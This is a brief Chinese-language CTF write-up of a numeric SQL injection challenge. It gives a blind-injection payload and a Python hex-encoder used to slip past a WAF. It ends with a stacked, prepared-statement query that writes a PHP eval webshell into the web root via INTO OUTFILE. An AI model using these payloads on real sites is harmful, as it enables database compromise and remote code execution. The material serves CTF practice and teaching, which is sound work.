知识点
- 堆叠注入
- 预处理
- SQL文件写入
-
解题
拿到题目直接注册了账号 到用户信息界面
- 在url上探测注入点
- 应该是一个数字型注入
- 看大佬说可以fuzz 我是没fuzz成功 无回显,返回的包也一样,顶不住
第一个利用点 可以根据回显来盲注
1^(ascii(mid(user(),1,1))>150)
但是可以说没啥用了 不过可以读源码 这里没尝试
- 最后解题用的是堆叠注入加文件写入
这个就是预处理的语句 用16进制绕过wafpayload = "select '<?php @eval($_POST[shell]);?>' into outfile '/var/www/html/favicon/shell.php';"
p = ''
for i in payload:
p = p + hex(ord(i)).replace('0x','')
p = '0x' + p
print(p)
之后就是
直接写入文件 获取shellset @sql=0x73656c65637420273c3f70687020406576616c28245f504f53545b7368656c6c5d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e706870273b
prepare test from @sql;
execute test;